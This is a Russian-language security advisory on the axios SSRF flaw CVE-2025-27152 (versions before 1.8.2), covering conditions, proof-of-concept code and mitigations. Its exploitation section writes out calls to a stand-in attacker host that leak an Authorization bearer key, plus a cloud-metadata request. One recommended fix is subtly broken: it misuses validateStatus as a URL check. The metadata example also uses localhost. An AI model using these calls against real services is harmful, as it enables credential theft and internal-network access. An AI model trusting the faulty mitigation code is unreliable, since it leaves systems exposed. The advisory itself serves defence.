
Уязвимость BDU:2025-02726 в библиотеке axios: SSRF через некорректную обработку URL
Уязвимость BDU:2025-02726 (CVE-2025-27152) в библиотеке axios (версии до 1.8.2) позволяет злоумышленнику выполнить SSRF-атаку (Server-Side Request Forgery) и получить доступ к внутренним ресурсам или украсть конфиденциальные данные. Проблема возникает из-за некорректной обработки абсолютных URL при наличии настроенного baseURL
, что приводит к игнорированию ожидаемого базового пути и отправке запросов на произвольные адреса.
Технические характеристики уязвимости
-
Тип: Server-Side Request Forgery (SSRF)
-
CVSS 3.0: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
-
Уязвимые версии: axios < 1.8.2
-
Ключевая причина:
-
Отсутствие проверки совпадения итогового URL с
baseURL
после объединения параметров. -
Возможность подмены целевого хоста через передачу абсолютного URL в методах запроса (например,
get()
,post()
).
-
Механизм эксплуатации
Условия для успешной атаки
-
Наличие
baseURL
в конфигурации axios:const client = axios.create({ baseURL: "http://api.internal.corp/" });
-
Контроль над параметрами запроса:
-
Злоумышленник может внедрить абсолютный URL через входные данные (например, параметры API, поля форм).
-
-
Доступ к уязвимому endpoint:
-
Пример уязвимого кода:
app.get("/user/:id", async (req, res) => { const response = await client.get(req.params.id); // SSRF, если id = "http://attacker.com" });
-
Пример эксплуатации
-
Утечка учетных данных:
-
Если в заголовках axios настроен API-ключ:
const client = axios.create({ baseURL: "http://internal-service/", headers: { "Authorization": "Bearer SECRET_KEY" } });
-
Атакующий передает абсолютный URL:
client.get("http://attacker/leak");
-
Результат: Заголовок
Authorization
отправляется наattacker
.
-
-
SSRF во внутренней сети:
-
Если сервер с axios имеет доступ к внутренним системам (например, к метаданным облака):
client.get("http://localhost/latest/meta-data/"); // AWS Metadata
-
Атакующий получает конфиденциальные данные облачной инфраструктуры.
-
Технический анализ PoC
Воспроизведение уязвимости через подмену URL:
// Уязвимый код const axios = require("axios"); const client = axios.create({ baseURL: "http://localhost:10001/" }); // Атака const response = await client.get("http://localhost:10002/"); console.log(response.data); // server2 вместо ожидаемого server1
Этапы атаки:
-
Обход
baseURL
: axios игнорируетbaseURL
, если передан абсолютный URL. -
Отправка запроса на сторонний хост: Сервер получает данные с
localhost:10002
, а не сlocalhost:10001
. -
Утечка данных: Заголовки (например,
X-API-KEY
) попадают к злоумышленнику.
Векторы атаки
-
Через публичные API:
-
Если endpoint принимает параметры, влияющие на URL (например,
GET /proxy?url=http://attacker)
.
-
-
Клиентские приложения:
-
В браузерных SPA, если злоумышленник может модифицировать параметры запросов (например, через XSS).
-
-
Внутренние сервисы:
-
Эксплуатация уязвимости для доступа к системам, недоступным извне (базы данных, Kubernetes API).
-
Рекомендации по защите
1. Обновление библиотеки
-
Установить axios версии 1.8.2 или новее, где проблема исправлена
2. Валидация входных данных
-
Запретите абсолютные URL в параметрах запросов:
function validateUrl(input) { if (input.startsWith("http://") || input.startsWith("https://")) { throw new Error("Absolute URLs are not allowed"); } } app.get("/user/:id", (req, res) => { validateUrl(req.params.id); // ... });
3. Настройка axios
-
Используйте кастомный обработчик для проверки итогового URL:
const client = axios.create({ baseURL: "http://api.internal.corp/", validateStatus: (url) => { if (!url.startsWith(this.defaults.baseURL)) { throw new Error("URL mismatch"); } return true; } });
4. Сетевые ограничения
-
Для серверов:
-
Заблокируйте исходящие запросы к публичным IP и доменам (разрешите только внутренние хосты).
-
Используйте файрволы для ограничения доступа к метаданным облака.
-
-
Для клиентов:
-
Настройте CSP (Content Security Policy) для запрета недоверенных соединений.
-
5. Мониторинг и логирование
-
Регистрируйте все исходящие запросы:
client.interceptors.request.use(config => { console.log(`Request to: ${config.url}`); return config; });
-
Настройте алерты при подозрительных запросах.
Условия эксплуатации в корпоративных сетях
-
Доступ к внутренним API:
-
Атакующий должен иметь возможность взаимодействовать с уязвимым endpoint (например, через VPN или корпоративный портал).
-
-
Отсутствие сегментации сети:
-
Если сервер с axios имеет доступ к критичным системам (базы данных, Kubernetes), SSRF может привести к полному компрометированию инфраструктуры.
-
-
Неконтролируемые входные данные:
-
Использование параметров запроса без санитизации (например, ID пользователя, путь к файлу).
-
